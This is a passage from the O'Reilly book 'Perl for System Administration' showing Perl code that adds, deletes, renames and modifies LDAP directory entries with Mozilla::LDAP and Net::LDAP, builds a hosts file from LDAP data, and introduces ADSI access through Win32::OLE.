open(LDIF,"$LDIFfile") or die "Unable to open $LDIFfile:$!\n";
$ldif = new Mozilla::LDAP::LDIF(\*LDIF);

# parse all of the entries, store in @entries
@entries = $ldif->readEntries(  );
close(LDIF);

# non-anonymous bind
$c = new Mozilla::LDAP::Conn($server,$port,$rootdn,$pw);
die "Unable to bind to $server\n" unless $c;

# iterate through our parsed entry list, attempting to add one at a time
for (@entries){
    $c->add($_); # add this entry to the directory
    warn "Error in add for ". $_->getDN().": ".$c->getErrorString(  )."\n"
      if $c->getErrorCode(  );
}
$c->close(  );

This sample also demonstrates the use of the getErrorCode( ) and getErrorString( ) methods to retrieve and report any errors that occur during the data load. Errors can manifest for any number of reasons, including DN/RDN duplication, schema violations, hierarchy problems, etc., so it is important to check for them as part of any entry modification.

One other quick note before we move on to the Net::LDAP equivalent: in this and the rest of the examples we're using the root or manager DN user context for demonstration purposes. In general, if you can avoid using this context for everyday work, you should. Good practice for setting up an LDAP server includes creating a powerful account or account group (which is not the root DN) for directory management. Keep this security tip in mind as you code your own applications.

With Net::LDAP, the LDIF entry addition code is similar:

use Net::LDAP;
use Net::LDAP::LDIF;

$server   = $ARGV[0];
$LDIFfile = $ARGV[1];
$port     = getservbyname("ldap","tcp") or "389";
$rootdn   = "cn=Manager, ou=Systems, dc=ccs, dc=hogwarts, dc=edu";
$pw       = "secret";

# read in an LDIF file specified as the second argument
# on the command line
# last parameter is "r" for open for read, "w" for write
$ldif = new Net::LDAP::LDIF($LDIFfile,"r");
@entries = $ldif->read(  );

$c = new Net::LDAP($server, port => $port) or
    die "Unable to connect to $server: $@\n";
$c->bind(dn => $rootdn, password => $pw) or die "Error in bind: $@\n";

for (@entries){
    $res = $c->add($_);
    warn "Error in add for ". $_->dn(  ).": error code ".$res->code."\n"
      if $res->code(  );
}

$c->unbind(  );

A few notes about this code sample:

  • We could chain the two LDIF read statements into one line if we wanted to:

@entries = new Net::LDAP::LDIF($LDIFfile,"r")->read;

  • If the add( ) fails, we request a decimal error code. For instance, we may see our code print something like this:

    Error in add for cn=Ursula Hampster, ou=Alumni Association, ou=People,
 o=University of Michigan, c=US: error code 68

    If the server returns a textual message, the error( ) method retrieves it for us, just like the error reporting code we used with Mozilla::LDAP:

    print "The error message is:  ".$res-<error."\n";

  • 68 is 44 in hex, so this line in Constant.pm is applicable:

sub LDAP_ALREADY_EXISTS            (  ) { 0x44 }

Now we know we've attempted to add an entry from an LDIF file that already exists in the directory.

6.4.6. Adding Entries with Standard LDAP Operations

It's time we look under the hood of the entry addition process so we can learn how to create and populate entries manually, instead of just reading them from a file like we did in the last subsection. Our two available modules handle this process quite differently, so we'll have to deal with them separately. Mozilla::LDAP is closer to classic object-oriented programming style. We create a new object instance:

use Mozilla::LDAP::Entry;
$e = new Mozilla::LDAP::Entry(  )

and then we begin to populate it. The next step is to give the entry a DN. This accomplished with the setDN( ) method:

$e->setDN("uid=jay, ou=systems, ou=people, dc=ccs, dc=hogwarts, dc=edu");

To populate the other attributes like objectClass we can take one of two tacks. We can make some assumptions about the underlying data structure used to represent the entry (essentially a hash of lists) and populate the data structure directly:

$e->{cn} = ['Jay Sekora'];

Here we're using the attribute name for the hash key and a reference to an anonymous array that holds the data. The Mozilla::LDAP module expects an array reference as the hash value, not the data itself, so the following, as tempting as it might be, would be incorrect:

# evil incarnate (or at the very least, just wrong)
$e->{cn} = 'Jay Sekora';

Alternatively, we can play it safe and use an object method to add the data:

$e->addValue('cn', 'Jay Sekora');

To add multiple values to an attribute, you simply call addValue( ) repeatedly:

$e->addValue('title', 'Unix SysAdmin');
$e->addValue('title', 'Part-time Lecturer');

I'm partial to the second method because your code is less likely to break if future versions of the module change the underlying data representation.

Once you've populated your entry, you call the add( ) method to add this entry to the directory. Here's a small script that will add an entry to a directory. It takes a server, a user ID (to be used as part of a DN), and a common name as commandline arguments:

use Mozilla::LDAP::Conn;

$server   = $ARGV[0];
$port     = getservbyname("ldap","tcp") || "389";
$suffix   = "ou=People, ou=Systems, dc=ccs, dc=hogwarts, dc=edu";
$rootdn   = "cn=Manager, ou=Systems, dc=ccs, dc=hogwarts, dc=edu";
$pw       = "secret";

# non-anonymous bind
$c = new Mozilla::LDAP::Conn($server,$port,$rootdn,$pw);
die "Unable to bind to $server\n" unless $c;

$e = new Mozilla::LDAP::Entry;
# DN is uid plus a suffix detailing where to put this
# in the directory tree
$e->setDN("uid=$ARGV[1],$suffix");
$e->addValue('uid', $ARGV[1]);
$e->addValue('cn', $ARGV[2]);
$c->add($e);
die "Error in add: ". $c->getErrorString()."\n" if $c->getErrorCode(  );

Note that this code does no input error checking. If you are putting together a script that might really be used interactively, you'll need to check your input to make sure it does not include non-escaped special characters like commas. See the owl tip on attribute value quoting earlier in this section for more details.

Let's turn our attention to Net::LDAP. The entry addition process for Net::LDAP can be less object-oriented if you are so inclined. It too has an Entry module (Net::LDAP::Entry) and a constructor for an entry object instance. But it also contains an add( ) function that can take a naked data structure for single-step entry addition:

$res = $c->add(
    dn => 'uid=jay, ou=systems, ou=people, dc=ccs, dc=hogwarts, dc=edu',
    attr => [ 'cn'   => 'Jay Sekora',
              'sn    => 'Sekora',
              'mail' => 'jayguy@ccs.hogwarts.edu',
              'title'=> ['Sysadmin','Part-time Lecturer'],
              'uid'  => 'jayguy',
             ]
             );
die "unable to add, errorcode #".$res->code() if $res->code(  );

Here we are passing two arguments to add( ). The first is a DN for the entry; the second is a reference to an anonymous array of attribute-value pairs. You'll notice that multivalued attributes like title are specified using a nested anonymous array. If you are used to working with Perl data structures and have an aversion to the object-oriented programming style, this may be a more comfortable idiom.

6.4.7. Deleting Entries

Deleting entries from a directory is easy (and irrevocable, so be careful). Here's some code snippets, again with the bind code left out for brevity's sake:

use Mozilla::LDAP::Conn;
...
# if you have an entry in hand, you can use
# $c->delete($entry->getDN(  )) instead
$c->delete($dn) or
    die "unable to delete entry: ". $c->getErrorString(  )."\n";

use Net::LDAP;
...
$res = $c->delete($dn);
die "unable to delete, errorcode #".$res->code() if $res->code(  );

It is important to note that delete( ) in both modules operates on a single entry at a time. If you want to delete an entire sub-tree, you will need to first search for all of the child entries of that sub-tree using a scope of sub or one and then iterate through the return values, deleting as you go. Once the children have been deleted, then you can remove the top of that sub-tree.

6.4.8. Modifying Entry Names

For our final look at LDAP operations, we will focus on two kinds of modifications to LDAP entries. The first kind of modification we'll consider is a change of DN or RDN. Changing the RDN for an entry is easy and supported by both of our modules. Here's the Mozilla::LDAP version:

use Mozilla::LDAP::Conn;
...
$c->modifyRDN($newRDN,$oldDN,$delold) or
    die "unable to rename entry:". $c->getErrorString(  )."\n";

This code should be self-explanatory with the exception of the $delold parameter to modifyRDN( ). When true, this instructs the LDAP libraries to remove the values in the entry that match the values changed in the RDN. For example, if an entry's RDN included the attribute l (for location), and the RDN was changed, the old l attribute in the entry itself would be deleted, leaving only the new value.

Here's the equivalent Net::LDAP code to rename an entry:

use Net::LDAP;
...
$res = $c->moddn($oldDN,
                 newrdn       => $newRDN,
                 deleteoldrdn => 1);
die "unable to rename, errorcode #".$res->code() if $res->code(  );

Net::LDAP's moddn( ) is actually more powerful than this example shows. So far we've only changed an entry's RDN, a change that does not have an effect on that entry's location in the directory tree hierarchy. Version 3 of LDAP introduces a more powerful rename operation that allows arbitrary entry relocations within the directory tree hierarchy. moddn( ) gives you access to this capability when called with the additional parameter newsuperior. If we add it like so:

$result = $c->moddn($oldDN,
                    newrdn       => $newRDN,
                    deleteoldrdn => 1,
                    newsuperior  => $parentDN);
die "unable to rename, errorcode #".$res->code() if $res->code(  );

then the entry located at $oldDN will be moved to become the child of the DN specified in $parentDN. Using this method to move entries in a directory tree is more efficient than the add( ) or delete( ) sequence previously required by the protocol, but is not supported by all LDAP servers. In any case, if you've carefully designed your directory tree structure, you'll have to relocate entries less often.

6.4.9. Modifying Entry Attributes

Let's move on to the more common operation of modifying the attributes and attribute values in an entry. Here too we see a significant difference between Mozilla::LDAP and Net::LDAP. With Mozilla::LDAP, we use one of the method calls in Table 6-5 to change the attributes in an entry.

Table 6.5. Mozilla::LDAP Entry Modification Methods

Method Call | Effect
$entry->addValue($attrname,$attrvalue) | Adds the specified value to the named attribute in that entry.
$entry-> removeValue($attrname,$attrvalue) | Removes the specified value from the named attribute in that entry. If this value is the only value set for that attribute, the whole attribute is removed.
$entry-> setValue($attrname,$attrvalue1,...) | Changes the values for the named attribute to the specified value or values.
$entry-> remove($attrname) | Removes the named attribute (values and all) from that entry.

Once you've made all of your changes to an entry using these method calls, you must call the update( ) method for that LDAP connection to propagate your changes to the directory server. update( ) is called with a reference to the entry as an argument (i.e., $c->update($entry)).

Let's see these method calls in action as part of a global search and replace. Here's the scenario: one of the facilities at your company is being forced to move from Boston to Indiana. This code will change all of the entries with a Boston location:

use Mozilla::LDAP::Conn;

$server = $ARGV[0];
$port   = getservbyname("ldap","tcp") || "389";
$basedn = "dc=ccs,dc=hogwarts,dc=edu";
$scope  = "sub";
$rootdn = "cn=Manager, ou=Systems, dc=ccs, dc=hogwarts, dc=edu";
$pw     = "secret";

# non-anonymous bind
$c = new Mozilla::LDAP::Conn($server,$port,$rootdn,$pw);
die "Unable to bind to $server\n" unless $c;

# notice that we ask for the least amount of info
# possible for a speedy search
$entry = $c->search($basedn,$scope,"(l=Boston)",1,'');
die "Error in search:". $c->getErrorString()."\n" if $c->getErrorCode(  );

if ($entry){
    while($entry){
        $entry->removeValue("l","Boston");
        $entry->addValue("l","Indiana");
        $c->update($entry);
        die "Error in update:" . $c->getErrorString(  ) . "\n"
          if $c->getErrorCode(  );
        $entry = $c->nextEntry(  );
    };
}
$c->close(  );

Net::LDAP takes a different approach for entry modification. It crams all of the separate Mozilla::LDAP method calls we just saw into one mega-method called modify( ). The parameters passed to this method determine its functionality. Table 6-6 lists the possible choices.

Table 6.6. Net::LDAP Entry Modification Methods

Parameter

Effect

add => {$attrname => $attrvalue}

Adds a named attribute with the given value.

add => {$attrname => [$attrvalue1,
$attrvalue2...]}

Adds a named attribute with the specified set of values.

delete => {$attrname => $attrvalue}

Deletes a named attribute with a specific value.

delete => {$attrname => []}
delete => [$attrname1,$attrname2...]

Deletes an attribute or set of attributes independent of their value or values.

replace => {$attrname => $attrvalue}

Like add, but replaces the current named attribute value. If $attrvalue is a reference to an empty anonymous list ([]), this becomes a synonym for the delete operation above.

Be sure to pay attention to the punctuation in the previous table. Some parameters call for a reference to an anonymous hash, others call for a reference to an anonymous array. Mixing the two will cause problems.

We can combine several of these parameters in the same call to modify( ), but there's a potential problem. When you modify( ) with a set of these parameters like so:

$c->modify($dn,replace => {'l' => "Medford"},
               add     => {'l' => "Boston"},
               add     => {'l' => "Cambridge"});

there's no guarantee the additions specified will take place after the replacement. If you need your operations to take place in a specific order, you can use a similar syntax to the one we've just introduced. Instead of using a set of discrete parameters, pass in a single array containing a queue of commands. Here's how it works: modify( ) will take a changes parameter whose value is a list. This list is treated as a set of pairs. The first half of the pair is the operation to be performed; the second half is a reference to an anonymous array of data for that operation. For instance, if we wanted to insure that the operations in the previous code snippet happened in order, we could write:

$c->modify($dn, changes =>
                  [ replace => ['l' => "Medford"],
                    add     => ['l' => "Boston"],
                    add     => ['l' => "Cambridge"]
                  ]);

Take careful note of the punctuation: it is different from the other parameters we saw before.

Given this information on modify( ), we can write the Net::LDAP version of our previous Boston-to-Indiana code like this:

use Net::LDAP;

$server   = $ARGV[0];
$port     = getservbyname("ldap","tcp") || "389";
$basedn   = "dc=ccs,dc=hogwarts,dc=edu";
$scope    = "sub";
$rootdn   = "cn=Manager, ou=Systems, dc=ccs, dc=hogwarts, dc=edu";
$pw       = "secret";

$c = new Net::LDAP($server, port => $port) or
  die "Unable to init for $server: $@\n";
$c->bind(dn => $rootdn, password => $pw) or die "Error in bind: $@\n";

$searchobj = $c->search(base  => $basedn, filter => "(l=Boston)",
                        scope => $scope,  attrs  => [''],
                        typesonly => 1);
die "Error in search: ".$searchobj->error()."\n" if ($searchobj->code(  ));

if ($searchobj){
    @entries = $searchobj->entries;
    for (@entries){
        $res=$c->modify($_->dn(), # dn(  ) yields the DN of that entry
                   delete => {"l" => "Boston"},
                   add    => {"l" => "Indiana"});
        die "unable to modify, errorcode #".$res->code() if $res->code(  );
    }
}

$c->unbind(  );

6.4.10. Putting It All Together

Now that we've toured all of the major LDAP functions, let's write some small system administration-related scripts. We'll import our machine database from Chapter 5, "TCP/IP Name Services", into an LDAP server and then generate some useful output based on LDAP queries. Here are a couple of listings from that flat file, just to remind you of the format:

name: shimmer
address: 192.168.1.11
aliases: shim shimmy shimmydoodles
owner: David Davis
department: software
building: main
room: 909
manufacturer: Sun
model: Ultra60
-=-
name: bendir
address: 192.168.1.3
aliases: ben bendoodles
owner: Cindy Coltrane
department: IT
building: west
room: 143
manufacturer: Apple
model: 7500/100
-=-

The first thing we need to do is prepare the directory server to receive this data. We're going to use non-standard attributes, so we'll need to update the server's schema. Different servers handle this process in different ways. For instance, the Netscape Directory server has a pleasant Directory Server Console GUI for changing details like this. Other servers require modifications to a text configuration file. With OpenLDAP, you could use something like this in a file included by the master configuration file to define your own object class for a machine:

objectclass machine
        requires
                objectClass,
                cn
        allows
                address,
                aliases,
                owner,
                department,
                building,
                room,
                manufacturer,
                model

Once the server is configured properly, we can think about importing the data. One approach would be to bulk load it using LDIF. If the sample from our flat-file database shown above reminded you of the LDIF format, you were right on target. This similarity makes the translation easy. Still, we'll have to watch out for a few snares:

Continuation lines

Our flat-file database does not have any entries with values spanning several lines, but if it did we'd need to make sure that output conformed to the LDIF standard. The LDIF standard dictates that all continuation lines must begin with exactly one space.

Entry separators

Our database uses the adorable character sequence -=- between each entry. Two line separators (i.e., a blank line) must separate LDIF entries, so we'll need to axe this character sequence when we see it in the input.

Attribute separators

Right now our data has only one multivalued attribute: aliases. LDIF deals with multivalued attributes by listing each value on a separate line. If we encounter multiple aliases, we'll need special code to print out a separate line for each. If it weren't for this misfeature in our data format, the code to go from our format to LDIF would be a single line of Perl.

Even with these snares, the conversion program is still pretty simple:

$datafile = "database";
$recordsep = "-=-\n";
$suffix   = "ou=data, ou=systems, dc=ccs, dc=hogwarts, dc=edu";
$objectclass = <<EOC;
objectclass: top
objectclass: machine
EOC

open(DATA,$datafile) or die "unable to open $datafile:$!\n";

# Perl modules break with this, even if it is in the spec
# print "version: 1\n"; #

while (<DATA>) {
    # print the header for each entry
    if (/name:\s*(.*)/){
        print "dn: cn=$1, $suffix\n";
        print $objectclass;
        print "cn: $1\n";
        next;
    }
    # handle the multi-valued aliases attribute
    if (s/^aliases:\s*//){
        @aliases = split;
        foreach $name (@aliases){
            print "aliases: $name\n";
        }
        next;
    }
    # handle the end of record separator
    if ($_ eq $recordsep){
        print "\n";
        next;
    }
    # otherwise, just print the attribute as we found it
    print;
}

close(DATA);

If we run this code, it prints an LDIF file that looks (in part) like this:

dn: cn=shimmer, ou=data, ou=systems, dc=ccs, dc=hogwarts, dc=edu
objectclass: top
objectclass: machine
cn: shimmer
address: 192.168.1.11
aliases: shim
aliases: shimmy
aliases: shimmydoodles
owner: David Davis
department: software
building: main
room: 909
manufacturer: Sun
model: Ultra60

dn: cn=bendir, ou=data, ou=systems, dc=ccs, dc=hogwarts, dc=edu
objectclass: top
objectclass: machine
cn: bendir
address: 192.168.1.3
aliases: ben
aliases: bendoodles
owner: Cindy Coltrane
department: IT
building: west
room: 143
manufacturer: Apple
model: 7500/100
...

With this LDIF file, we can use one of the bulk-load programs that come with our servers to load our data into the server. For instance, ldif2ldbm, packaged with both the OpenLDAP and the Netscape Directory Servers, reads an LDIF file and directly imports it into the directory server's native backend format without having to go through LDAP. Though you can only use this program while the server is not running, it can provide the quickest way to get lots of data into a server. If you can't take the server down, we can use the LDIF-reading Perl code we developed earlier to feed a file like this to an LDAP server.

To throw one more option into the mix, here's some code that skips the intermediary step of creating an LDIF file and imports our data directly into an LDAP server:

use Net::LDAP;
use Net::LDAP::Entry;

$datafile  = "database";
$recordsep = "-=-";
$server    = $ARGV[0];
$port      = getservbyname("ldap","tcp") || "389";
$suffix    = "ou=data, ou=systems, dc=ccs, dc=hogwarts, dc=edu";
$rootdn    = "cn=Manager, o=University of Michigan, c=US";
$pw        = "secret";

$c = new Net::LDAP($server,port => $port) or
  die "Unable to init for $server: $@\n";
$c->bind(dn => $rootdn,password => $pw) or die "Error in bind: $@\n";

open(DATA,$datafile) or die "unable to open $datafile:$!\n";

while (<DATA>) {
    chomp;
    # at the start of a new record, create a new entry object instance
    if (/^name:\s*(.*)/){
        $dn="cn=$1, $suffix";
        $entry = new Net::LDAP::Entry;
        $entry->add("cn",$1);
        next;
    }
    # special case for multivalued attribute
    if (s/^aliases:\s*//){
        $entry->add('aliases',[split(  )]);
        next;
    }

    # if we've hit the end of the record, add it to the server
    if ($_ eq $recordsep){
        $entry->add("objectclass",["top","machine"]);
        $entry->dn($dn);
        $res = $c->add($entry);
        warn "Error in add for " . $entry->dn(  ) . ": error code " .
              $res->code."\n"
          if $res->code(  );
        undef $entry;
        next;
    }

    # add all of the other attributes
    $entry->add(split(':\s*')); # assume single valued attributes
}

close(DATA);
$c->unbind(  );

Now that we've imported the data into a server, we can start to do some interesting things. For the following examples, we'll flip-flop between the two LDAP modules. To save space, the header at the top of each sample that sets our configuration variables and the code that binds us to a server will not be repeated for each example.

So what can you do with this data when it resides in an LDAP server? You can generate a hosts file on the fly:

use Mozilla::LDAP;

...
$entry = $c->search($basedn,'one','(objectclass=machine)',0,
                    'cn','address','aliases');
die "Error in search:". $c->getErrorString()."\n" if $c->getErrorCode(  );

if ($entry){
    print "#\n\# host file - GENERATED BY $0\n
           # DO NOT EDIT BY HAND!\n#\n";
    while($entry){
        print $entry->{address}[0],"\t",
              $entry->{cn}[0]," ",
              join(' ',@{$entry->{aliases}}),"\n";
        $entry = $c->nextEntry(  );
    };
}
$c->close(  );

Here's the output:

#
# host file - GENERATED BY ldap2hosts
# DO NOT EDIT BY HAND!
#
192.168.1.11    shimmer shim shimmy shimmydoodles
192.168.1.3     bendir ben bendoodles
192.168.1.12    sulawesi sula su-lee
192.168.1.55    sander sandy mickey mickeydoo

You can find the names of all of our machines made by Apple:

use Net::LDAP;
...
$searchobj = $c->search(base  => $basedn,
                        filter => "(manufacturer=Apple)",
                        scope => 'one', attrs => ['cn']);
die "Error in search: ".$searchobj->error()."\n" if ($searchobj->code(  ));

if ($searchobj){
    for ($searchobj->entries){
        print $_->get('cn'),"\n";
    }
}

$c->unbind(  );

Here's the output:

bendir
sulawesi

You can generate a list of machine owners:

use Mozilla::LDAP;
...
$entry = $c->search($basedn,'one','(objectclass=machine)',0,
                    'cn','owner');
die "Error in search:". $c->getErrorString()."\n" if $c->getErrorCode(  );

if ($entry){
    while($entry){
        push(@{$owners{$entry->{owner}[0]}},$entry->{cn}[0]);
        $entry = $c->nextEntry(  );
    };
}
$c->close(  );
for (sort keys %owners){
    print $_.":\t".join(' ',@{$owners{$_}})."\n";
}

Here's the output:

Alex Rollins:   sander
Cindy Coltrane: bendir
David Davis:    shimmer
Ellen Monk:     sulawesi

Or you can check to see if the current user ID is the owner of the current Unix machine (pseudo-authentication):

use Mozilla::LDAP::Conn;
use Sys::Hostname;

$user = (getpwuid($<))[6];

$hostname = hostname;
$hostname =~ s/^([^.]+)\..*/$1/; # strip domain name off of host
...
$entry = $c->search("cn=$hostname,$suffix",'base',"(owner=$user)",1,'');

if ($entry){
    print "Owner ($user) logged on to machine $hostname.\n";
}
else {
    print "$user is not the owner of this machine ($hostname)\n.";
}
$c->close(  );

These snippets should give you an idea of some of the system administration uses for LDAP access through Perl, and provide inspiration to write your own. In the next section we'll take these ideas to the next level and see a whole administration framework based on the conceptual groundwork laid by LDAP.

Previous | Home | Next
6.3. The WHOIS Directory Service | Book Index | 6.5. ADSI (Active Directory Service Interfaces)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


ADSI (Active Directory Service Interfaces) (Perl for System Administration)

 Perl for System AdministrationSearch this book

6.5. ADSI (Active Directory Service Interfaces)

For the final section of this chapter we'll discuss a platform-dependent directory service framework that is heavily based on the material we've just covered.

Microsoft created a sophisticated LDAP-based directory service called Active Directory for use at the heart of their Windows 2000 administration framework. Active Directory serves as the repository for all of the important configuration information (users, groups, system policies, software installation support, etc.) used in a network of Windows 2000 machines.

During the development of Active Directory, Microsoft realized a higher-level applications interface to this service was needed. ADSI, or Active Directory Service Interfaces, was invented to provide this interface. To their credit, the developers at Microsoft also realized that their new ADSI framework could be extended to cover other system administration realms like printers and NT services. This coverage makes ADSI immensely useful to people who script and automate system administration tasks. Before we show this power in action, there are a few basic concepts and terms we need to cover.

6.5.1. ADSI Basics

ADSI can be thought of as a wrapper around any directory service that wishes to participate in the ADSI framework. There are providers, as these ADSI glue implementations are called, for LDAP, WinNT 4.0, and Novell Directory Service among others. In ADSI-speak, each of these directory services and data domains (WinNT isn't a directory service) are called namespaces. ADSI gives you a uniform way to query and change the data found in these namespaces.

To understand ADSI, you have to know a little about the Microsoft Component Object Model (COM) upon which ADSI is built. There are many books about COM, but we can distill down to these key points:

  • Everything we want to work with via COM is an object.[4]

    [4]COM is in fact the protocol used to communicate with these objects as part of the larger framework called OLE, for Object Linking and Embedding. In this section, I've tried to keep us out of the Microsoft morass of acronyms, but if you want to dig deeper, there are some good resources that are available at http://www.microsoft.com/com.

  • Objects have interfaces that provide a set of methods for us to use to interact with these objects. From Perl, we can use the methods provided by or inherited from the interface called IDispatch. Luckily most of the ADSI methods provided by the ADSI interfaces and their children (e.g., IADsUser, IADsComputer, IADsPrintQueue) are inherited from IDispatch.

  • The values encapsulated by an object, which is queried and changed through these methods, are called properties. We'll refer to two kinds of properties in this chapter: interface-defined properties (those that are defined as part of an interface), and schema-defined properties (those that are defined in a schema object, more on this in just a moment). Unless we refer explicitly to "schema properties" in the following dicussion, we'll only be using interface properties.

This is standard object-oriented programming fare. It starts to get tricky when the nomenclature for ADSI/COM and other object-oriented worlds like LDAP collide.

For instance, in ADSI we speak of two different kinds of objects: leaf and container. Leaf objects encapsulate real data; container objects hold, or parent, other objects. In LDAP-speak a close translation for these terms might be "entry" and "branching point." On one hand we talk about objects with properties and on the other, entries with attributes. So how do you deal with this discrepancy, since both names refer to the exact same data?

Here's one way to think about it: an LDAP server does indeed provide access to a tree full of entries and their associated attributes. When you use ADSI instead of native LDAP to get at an entry in that tree, ADSI sucks the entry out of the LDAP server, wraps it up in a few layers of shiny wrapping paper, and hands it to you as a COM object. You use the necessary methods to get the contents of that parcel, which are now called "properties." If you make any changes to the properties of this object, you can hand the object back to ADSI, which will take care of unwrapping the information and putting it back in the LDAP tree for you.

A reasonable question at this point is "Why not go directly to the LDAP server?" Two good answers: once we know how to use ADSI to communicate with one kind of directory service, we know how to communicate with them all (or at least the ones that have ADSI providers). The second answer will be demonstrated in a few moments when we see how ADSI's encapsulation can make directory service programming a little easier.

To head in the direction of ADSI programming from Perl, we need to introduce ADsPaths. ADsPaths give us a unique way to refer to objects in any of our namespaces. They look like this:

<progID>:<path to object>

<progID> is the programmatic identifier for a provider (e.g., WinNT or LDAP), and <path to object> is a provider-specific way of finding the object in its namespace. The <progID> portion is case-sensitive. Using winnt, ldap, or WINNT instead of WinNT and LDAP will cause your programs to fail.

Here are some ADsPath examples taken from the ADSI SDK documentation:

WinNT://MyDomain/MyServer/User
WinNT://MyDomain/JohnSmith,user
LDAP://ldapsvr/CN=TopHat,DC=DEV,DC=MSFT,DC=COM,O=Internet
LDAP://MyDomain.microsoft.com/CN=TopH,DC=DEV,DC=MSFT,DC=COM,O=Internet

It's no coincidence that these look like URLs, since both URLs and ADsPaths serve roughly the same purpose. They both try to provide an unambiguous way to reference a piece of data made available by different data services. In the case of LDAP ADsPaths, we are using the LDAP URL syntax from the RFC we mention in Appendix B, "The Ten-Minute LDAP Tutorial" (RFC2255).

We'll look more closely at ADsPaths when we discuss the two namespaces, WinNT and LDAP, referenced earlier. Before we get there, let's see how ADSI in general is used from Perl.

The Tools of the ADSI Trade

To use the material in this chapter you will need ADSI installed on at least one machine on your network. This machine can act (via DCOM) as an ADSI gateway for the other machines. See Toby Everett's site, given below, for more information on how to set ADSI up to work with DCOM.

Any machine running Windows 2000 has ADSI built into the OS. For all other Win32 machines, you will need to download and install the free ADSI 2.5 distribution found at http://www.microsoft.com/adsi. At this link you will also find crucial ADSI documentation including adsi25.chm , a compressed HTML help file that contains some of the best ADSI documentation available.

Even if you are using Windows 2000, I recommend downloading the ADSI SDK found at the Microsoft URL because it provides this documentation and a handy ADSI object browser called ADsVW. The SDK comes with ADSI programming examples in a number of languages including Perl. Unfortunately, the examples in the current ADSI distribution rely on the deprecated OLE.pm module, so at best you might be able to pick up a few tips, but you should not use these examples as your starting point.

Before you begin to code, you will also want to pick up Toby Everett's ADSI object browser (written in Perl) from http://opensource.activestate.com/authors/tobyeverett. It will help you navigate around the ADSI namespaces. Be sure to visit this site early in your ADSI programming career because it is one of the best available on using ADSI from Perl.

6.5.2. Using ADSI from Perl

The Win32::OLE family of modules maintained by Jan Dubois and Gurusamy Sarathy give us the Perl bridge to ADSI (which is built on COM as part of OLE). After loading the main module, we use it to request an ADSI object:

use Win32::OLE;

$adsobj = Win32::OLE->GetObject($ADsPath) or
    die "Unable to retrieve the object for $ADsPath\n";

Win32::OLE->GetObject( ) takes an OLE moniker (a unique identifier to an object, which in this case is an ADsPath) and returns an ADSI object for us. This call also handles the process of binding to the object, a process you should be familiar with from our LDAP discussion. By default we bind to the object using the credentials of the user running the script.

TIP

Here's a tip that may save you some consternation. If you run these two lines of code in the Perl debugger and examine the contents of the returned object reference, you might see something like this:

DB<3> x $adsobj
0  Win32::OLE=HASH(0x10fe0d4)
     empty hash

Don't panic. Win32::OLE uses the power of tied variables. The seemingly empty data structure you see here will magically yield information from our object when we access it properly.

Perl's hash reference syntax is used to access the interface property values of an ADSI object:

$value = $adsobj->{key}

For instance, if that object had a Name property defined as part of its interface (and they all do), you could:

print $adsobj->{Name}."\n";

Interface property values can be assigned using the same notation:

$adsobj->{FullName}= "Oog";  # set the property in the cache

An ADSI object's properties are stored in an in-memory cache (called the property cache). The first request for an object's properties populates this cache. Subsequent queries for the same property will retrieve the information from this cache, not the directory service. If you want to populate the cache by hand, you can call that object instance's GetInfo( ) or GetInfoEx( ) (an extended version of GetInfo( )) method using the syntax we'll see in a moment.

Because the initial fetch is automatic, GetInfo( ) and GetInfoEx( ) are often overlooked. Though we won't see any in this book, there are cases where you will need them. Two example cases:

  1. Some object properties are only fetched by an explicit GetInfoEx( ) call. Microsoft Exchange 5.5's LDAP provider offers a particularly egregious example because many of its properties are not available without calling GetInfoEx( ) first. See http://opensource.activestate.com/authors/tobyeverett for more details on this inconsistency.

  2. If you have a directory that multiple people can change, an object you may have just retrieved could be changed while you are still working with it. If this happens, the data in your property cache for that object will be stale. GetInfo( ) and GetInfoEx( ) will refresh this cache for you.

To actually update the backend directory service and data source provided through ADSI, you must call the special method SetInfo( ) after changing an object. SetInfo( ) flushes the changes from the property cache to the actual directory service and data source. (This should remind you of our need in Mozilla::LDAP to call the update( ) method. It's the same concept.)

Calling methods from an ADSI object instance is easy:

$adsobj->Method($arguments...)

So, if we changed an object's properties as mentioned in the previous warning, we might use this line right after the code that made the change:

$adsobj->SetInfo(  );

This would flush the data from the property cache back into the underlying directory service or data source.

One Win32::OLE call you'll want to use often is Win32::OLE->LastError( ). This will return the error, if any, generated by the last OLE operation. Using the -w switch with Perl (e.g., perl -w script) also causes any OLE failures to complain in a verbose manner. Often these error messages are all the debugging help you have, so be sure to make good use of them.

The ADSI code we've shown so far should look like fairly standard Perl to you, because on the surface, it is. Now let's introduce a few of the plot complications.

6.5.3. Dealing with Container/Collection Objects

Early in this section we mentioned there are two kinds of ADSI objects: leaf and container. Leaf objects represent pure data, whereas container objects (also called collection objects in OLE/COM terms) contain other objects. Another way to distinguish between the two in the ADSI context is by noting that leaf objects have no children in a hierarchy, but container objects do.

Container objects require special handling, since most of the time we're interested in the data encapsulated by their child objects. There are two ways to access these objects from Perl. Win32::OLE offers a special function called in( ), which is not available by default when the module is loaded in the standard fashion. We have to use the following at the beginning of our code to make use of it:

use Win32::OLE 'in';

in( ) will return a list of references to the child objects held by that container. This allows us to write easy-to-read Perl code like:

foreach $child (in $adsobj){
    print $child->{Name}
}

Alternatively, we can load one of
Win32::OLE's helpful progeny, which is
called Win32::OLE::Enum.
Win32::OLE::Enum->new( ) will create an
enumerator object from one of our container objects:

use Win32::OLE::Enum;

$enobj = Win32::OLE::Enum->new($adsobj);

We can then call a few methods on this enumerator object to get at $adsobj's children. These methods should remind you of the methods we used with Mozilla::LDAP's search operations; it is the same process.

$enobj->Next( ) will return a reference to the next child object instance (or the next X objects if given an optional parameter). $enobj->All returns a list of object instance references. Win32::OLE::Enum offers a few more methods (see the documentation for details), but these are the ones you'll use most often.

6.5.4. Identifying a Container Object

You can't know if an object is a container object a priori. There is no way to ask an object itself about its "containerness" from Perl. The closest you can come is to try to create an enumerator object and fail gracefully if this does not succeed. Here's some code that does just that:

use Win32::OLE;
use Win32::OLE::Enum;

eval {$enobj = Win32::OLE::Enum->new($adsobj)};
print "object is " . ($@ ? "not " : "") . "a container\n";

Alternatively, you can look to other sources that describe the object. This segues nicely into our third plot complication.

6.5.5. So How Do You Know Anything About an Object?

We've avoided the biggest and perhaps the most important question until now. In a moment we'll be dealing with objects in two of our namespaces. We understand how to retrieve and set object properties and how to call object methods for these objects, but only if we already know the names of these properties and methods. Where did these names come from? How did we find them in the first place?

